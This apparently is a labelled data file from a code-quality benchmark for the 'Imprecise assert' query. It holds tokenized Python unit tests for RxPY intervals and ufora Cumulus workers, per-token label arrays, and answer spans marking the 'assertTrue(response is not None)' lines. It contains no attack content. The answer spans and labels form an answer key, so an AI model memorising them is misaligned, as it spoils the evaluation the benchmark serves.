"Interval_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "interval", "\\u", "timespan", "\\u", "negative_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Observable_", "._", "interval_", "(_", "-_", "1_", ",_", "scheduler_", "=_", "scheduler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "create_", ",_", "dispose", "d_", "=_", "210_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "201_", ",_", "0_", ")_", ",_", "on", "\\u", "next_", "(_", "202_", ",_", "1_", ")_", ",_", "on", "\\u", "next_", "(_", "203_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "204_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "205_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "206_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "207_", ",_", "6_", ")_", ",_", "on", "\\u", "next_", "(_", "208_", ",_", "7_", ")_", ",_", "on", "\\u", "next_", "(_", "209_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Time", "Interval_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "interval", "\\u", "timespan", "\\u", "dispose", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Observable_", "._", "interval_", "(_", "1000_", ",_", "scheduler_", "=_", "scheduler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "create_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Time", "Interval_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "interval", "\\u", "timespan", "\\u", "observer", "\\u", "throw", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "Observable_", "._", "interval_", "(_", "1_", ",_", "scheduler_", "=_", "scheduler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscribe_", "(_", "lambda_", "x_", ":_", "\\u", "raise_", "(_", "\"", "ex", "\"_", ")_", ")_", "\\u\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
ufora/ufora/ufora/cumulus/test/TestBase.py
[ { "content": " @Teardown.Teardown\n def test_vectorOfPagedVectorApplyWithDropping(self):\n self.desirePublisher.desireNumberOfWorkers(3, blocking=True)\n expr = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() {\n let v =\n Vector.range(20).apply(fun(ix) {\n Vector.range(1250000.0+ix).paged\n }).paged\n let lookup = fun(ix) { v[ix] }\n Vector.range(100).apply(fun(ix) { sum(0, 10**8); cached(lookup(ix)) })\n v\n }\"\"\"\n )\n )\n computation1 = self.gateway.requestComputation(\n makeComputationDefinitionFromIVCs(\n expr,\n ForaNative.makeSymbol(\"Call\")\n )\n )\n try:\n response = self.gateway.finalResponses.get(timeout=60.0)\n except Queue.Empty:\n response = None\n self.assertTrue(response is not None, response)\n\n self.gateway.deprioritizeComputation(computation1)\n\n self.desirePublisher.desireNumberOfWorkers(2, blocking=True)\n expr2 = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() {\n let res = 0\n for ix in sequence(10)\n res = res + Vector.range(12500000+ix).sum()\n return res\n }\"\"\"\n )\n )\n computation2 = self.gateway.requestComputation(\n makeComputationDefinitionFromIVCs(\n expr2,\n ForaNative.makeSymbol(\"Call\")\n )\n )\n \n try:\n response = self.gateway.finalResponses.get(timeout=60.0)\n except Queue.Empty:\n response = None\n\n self.assertTrue(response is not None)\n self.assertTrue(response[1].isResult())\n\n self.gateway.deprioritizeComputation(computation2)", "metadata": "root.CumulusTestCases.test_vectorOfPagedVectorApplyWithDropping", "header": "['class', 'CumulusTestCases', '(', 'object', ')', ':', '___EOS___']", "index": 225 }, { "content": " @Teardown.Teardown\n def test_sortALargeVectorWithFourWorkers(self):\n self.desirePublisher.desireNumberOfWorkers(4, blocking=True)\n \n expr = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() {\n let v = Vector.range(12500000, {_%3.1415926});\n\n if (sorting.isSorted(sorting.sort(v))) 'sorted'\n }\"\"\"\n )\n )\n\n try:\n response = self.evaluateWithGateway(\n makeComputationDefinitionFromIVCs(\n expr,\n ForaNative.makeSymbol(\"Call\")\n ),\n timeout=120.0\n )\n except Queue.Empty:\n response = None\n\n if response is None:\n try:\n dumpFun = self.dumpSchedulerEventStreams\n dumpFun()\n except:\n logging.warn(\"Wanted to dump CumulusWorkerEvents, but couldn't\");\n\n\n self.assertTrue(response is not None)\n self.assertTrue(response[1].isResult())\n self.assertTrue(response[1].asResult.result.pyval == 'sorted', response[1].asResult.result.pyval)", "metadata": "root.CumulusTestCases.test_sortALargeVectorWithFourWorkers", "header": "['class', 'CumulusTestCases', '(', 'object', ')', ':', '___EOS___']", "index": 283 }, { "content": " @Teardown.Teardown\n def test_bigSumWithAdding(self):\n self.desirePublisher.desireNumberOfWorkers(1, blocking=True)\n \n expr = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() { if (sum(0, 10**11) > 0) 'big_enough' }\"\"\"\n )\n )\n\n computationId = self.gateway.requestComputation(\n makeComputationDefinitionFromIVCs(\n expr,\n ForaNative.makeSymbol(\"Call\")\n )\n )\n\n time.sleep(5)\n \n self.desirePublisher.desireNumberOfWorkers(2, blocking=True)\n\n try:\n response = self.gateway.finalResponses.get(timeout=240.0)\n except Queue.Empty:\n response = None\n\n if response is None:\n try:\n dumpFun = self.dumpSchedulerEventStreams\n dumpFun()\n except:\n logging.warn(\"Wanted to dump CumulusWorkerEvents, but couldn't\");\n\n self.assertTrue(response is not None)\n \n self.assertTrue(response[1].isResult())\n self.assertTrue(response[1].asResult.result.pyval == 'big_enough', response[1].asResult.result.pyval)\n\n self.gateway.deprioritizeComputation(computationId)", "metadata": "root.CumulusTestCases.test_bigSumWithAdding", "header": "['class', 'CumulusTestCases', '(', 'object', ')', ':', '___EOS___']", "index": 320 }, { "content": " @Teardown.Teardown\n def test_manyDuplicateCachecallsAndAdding(self):\n self.desirePublisher.desireNumberOfWorkers(2, blocking=True)\n \n expr = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() { \n Vector.range(20).papply(fun(x) { \n x + cached(sum(0,10**11))[0]\n })\n }\"\"\"\n )\n )\n\n computationId = self.gateway.requestComputation(\n makeComputationDefinitionFromIVCs(\n expr,\n ForaNative.makeSymbol(\"Call\")\n )\n )\n\n time.sleep(5)\n \n self.desirePublisher.desireNumberOfWorkers(4, blocking=True)\n\n try:\n response = self.gateway.finalResponses.get(timeout=240.0)\n except Queue.Empty:\n response = None\n\n self.assertTrue(response is not None)\n \n self.assertTrue(response[1].isResult())\n\n self.gateway.deprioritizeComputation(computationId)", "metadata": "root.CumulusTestCases.test_manyDuplicateCachecallsAndAdding", "header": "['class', 'CumulusTestCases', '(', 'object', ')', ':', '___EOS___']", "index": 360 }, { "content": " @Teardown.Teardown\n def test_sortALargeVectorWithAdding(self):\n self.desirePublisher.desireNumberOfWorkers(2, blocking=True)\n \n expr = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() {\n let v = Vector.range(12500000, {_%3.1415926});\n\n if (sorting.isSorted(sorting.sort(v))) 'sorted_2'\n }\"\"\"\n )\n )\n\n computationId = self.gateway.requestComputation(\n makeComputationDefinitionFromIVCs(\n expr,\n ForaNative.makeSymbol(\"Call\")\n )\n )\n\n time.sleep(10)\n \n self.desirePublisher.desireNumberOfWorkers(4, blocking=True)\n\n try:\n response = self.gateway.finalResponses.get(timeout=360.0)\n except Queue.Empty:\n response = None\n\n self.gateway.deprioritizeComputation(computationId)\n\n if response is None:\n try:\n dumpFun = self.dumpSchedulerEventStreams\n dumpFun()\n except:\n logging.warn(\"Wanted to dump CumulusWorkerEvents, but couldn't\");\n\n self.assertTrue(response is not None)\n \n self.assertTrue(response[1].isResult())\n self.assertTrue(response[1].asResult.result.pyval == 'sorted_2', response[1].asResult.result.pyval)", "metadata": "root.CumulusTestCases.test_sortALargeVectorWithAdding", "header": "['class', 'CumulusTestCases', '(', 'object', ')', ':', '___EOS___']", "index": 396 }, { "content": " @Teardown.Teardown\n def test_sortALargeVectorWithRemoving(self):\n self.desirePublisher.desireNumberOfWorkers(4, blocking=True)\n \n expr = FORA.extractImplValContainer(\n FORA.eval(\n \"\"\"fun() {\n let v = Vector.range(12500000, {_%3.1415926});\n\n if (sorting.isSorted(sorting.sort(v))) 'sorted_3'\n }\"\"\"\n )\n )\n\n computationId = self.gateway.requestComputation(\n makeComputationDefinitionFromIVCs(\n expr,\n ForaNative.makeSymbol(\"Call\")\n )\n )\n\n time.sleep(10)\n \n self.desirePublisher.desireNumberOfWorkers(3, blocking=True)\n\n try:\n response = self.gateway.finalResponses.get(timeout=240.0)\n except Queue.Empty:\n response = None\n\n self.gateway.deprioritizeComputation(computationId)\n\n if response is None:\n try:\n dumpFun = self.dumpSchedulerEventStreams\n dumpFun()\n except:\n logging.warn(\"Wanted to dump CumulusWorkerEvents, but couldn't\");\n\n self.assertTrue(response is not None)\n self.assertTrue(response[1].isResult())\n self.assertTrue(response[1].asResult.result.pyval == 'sorted_3', response[1].asResult.result.pyval)", "metadata": "root.CumulusTestCases.test_sortALargeVectorWithRemoving", "header": "['class', 'CumulusTestCases', '(', 'object', ')', ':', '___EOS___']", "index": 440 } ]
[ { "span": "self.assertTrue(response is not None)", "start_line": 278, "start_column": 8, "end_line": 278, "end_column": 45 }, { "span": "self.assertTrue(response is not None)", "start_line": 316, "start_column": 8, "end_line": 316, "end_column": 45 }, { "span": "self.assertTrue(response is not None)", "start_line": 353, "start_column": 8, "end_line": 353, "end_column": 45 }, { "span": "self.assertTrue(response is not None)", "start_line": 390, "start_column": 8, "end_line": 390, "end_column": 45 }, { "span": "self.assertTrue(response is not None)", "start_line": 435, "start_column": 8, "end_line": 435, "end_column": 45 }, { "span": "self.assertTrue(response is not None)", "start_line": 479, "start_column": 8, "end_line": 479, "end_column": 45 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Cum", "ulus", "Test", "Cases_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Tea", "rdo", "wn_", "._", "Tea", "rdo", "wn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "vector", "Of", "Page", "d", "Vector", "Apply", "With", "Dropp", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "3_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expr_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", "\\", "10", ";", " ", " ", "let", " ", "v", " ", "=", "\\", "10", ";", " ", " ", "Vector", ".", "range", "(", "20", ").", "appl", "y", "(", "fun", "(", "ix", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "Vector", ".", "range", "(", "1250", "000", ".0", "+", "ix", ").", "paged", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "}).", "paged", "\\", "10", ";", " ", " ", "let", " ", "look", "up", " ", "=", " ", "fun", "(", "ix", ")", " ", "{", " ", "v", "[", "ix", "]", " ", "}", "\\", "10", ";", " ", " ", "Vector", ".", "range", "(", "100", ").", "appl", "y", "(", "fun", "(", "ix", ")", " ", "{", " ", "sum", "(", "0", ",", " ", "10", "**", "8", ");", " ", "cache", "d", "(", "look", "up", "(", "ix", "))", " ", "})", "\\", "10", ";", " ", " ", "v", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "computation", "1_", "=_", "self_", "._", "gateway_", "._", "request", "Computation", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "gateway_", "._", "final", "Responses", "_", "._", "get_", "(_", "timeout_", "=_", "60.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ",_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gateway_", "._", "dep", "rior", "iti", "ze", "Computation", "_", "(_", "computation", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "2_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expr", "2_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", "\\", "10", ";", " ", " ", "let", " ", "res", " ", "=", " ", "0", "\\", "10", ";", " ", " ", "for", " ", "ix", " ", "in", " ", "sequence", "(", "10", ")", "\\", "10", ";", " ", " ", "res", " ", "=", " ", "res", " ", "+", " ", "Vector", ".", "range", "(", "1250", "0000", "+", "ix", ").", "sum", "()", "\\", "10", ";", " ", " ", "return", " ", "res", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "computation", "2_", "=_", "self_", "._", "gateway_", "._", "request", "Computation", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "gateway_", "._", "final", "Responses", "_", "._", "get_", "(_", "timeout_", "=_", "60.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "is", "Result_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gateway_", "._", "dep", "rior", "iti", "ze", "Computation", "_", "(_", "computation", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cum", "ulus", "Test", "Cases_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Tea", "rdo", "wn_", "._", "Tea", "rdo", "wn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "sort", "AL", "arge", "Vector", "With", "Four", "Worke", "rs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "4_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", "\\", "10", ";", " ", " ", "let", " ", "v", " ", "=", " ", "Vector", ".", "range", "(", "1250", "0000", ",", " ", "{\\u", "%", "3.14", "159", "2", "6", "})", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", "if", " ", "(", "sorting", ".", "is", "Sorte", "d", "(", "sorting", ".", "sort", "(", "v", ")))", " ", "'", "sorte", "d", "'", "\\", "10", ";", " ", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "evaluate", "With", "Gateway_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "120", ".0_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "Fun", "_", "=_", "self_", "._", "dump", "Schedule", "r", "Event", "Stream", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump", "Fun", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warn_", "(_", "\"", "Wan", "ted", " ", "to", " ", "dump", " ", "Cum", "ulus", "Worke", "r", "Event", "s", ",", " ", "but", " ", "coul", "dn", "'", "t", "\"_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "is", "Result_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", "==_", "'", "sorte", "d", "'_", ",_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cum", "ulus", "Test", "Cases_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Tea", "rdo", "wn_", "._", "Tea", "rdo", "wn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "big", "Sum", "With", "Add", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "1_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", "=_", "FOR", "A_", "._", "extract", "Impl", "Val", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "FOR", "A_", "._", "eval_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "fun", "()", " ", "{", " ", "if", " ", "(", "sum", "(", "0", ",", " ", "10", "**", "11", ")", " ", ">", " ", "0", ")", " ", "'", "big", "\\u", "eno", "ugh", "'", " ", "}\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "computation", "Id_", "=_", "self_", "._", "gateway_", "._", "request", "Computation", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "make", "Computation", "Definit", "ion", "Fro", "m", "IV", "Cs_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "For", "a", "Nat", "ive_", "._", "make", "Symbol_", "(_", "\"", "Call", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "desi", "re", "Publisher_", "._", "desi", "re", "Number", "Of", "Worke", "rs_", "(_", "2_", ",_", "blocking_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "gateway_", "._", "final", "Responses", "_", "._", "get_", "(_", "timeout_", "=_", "240", ".0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "Fun", "_", "=_", "self_", "._", "dump", "Schedule", "r", "Event", "Stream", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump", "Fun", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warn_", "(_", "\"", "Wan", "ted", " ", "to", " ", "dump", " ", "Cum", "ulus", "Worke", "r", "Event", "s", ",", " ", "but", " ", "coul", "dn", "'", "t", "\"_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "is", "Result_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", "==_", "'", "big", "\\u", "eno", "ugh", "'_", ",_", "response_", "[_", "1_", "]_", "._", "as", "Result_", "._", "result_", "._", "pyv", "al_", 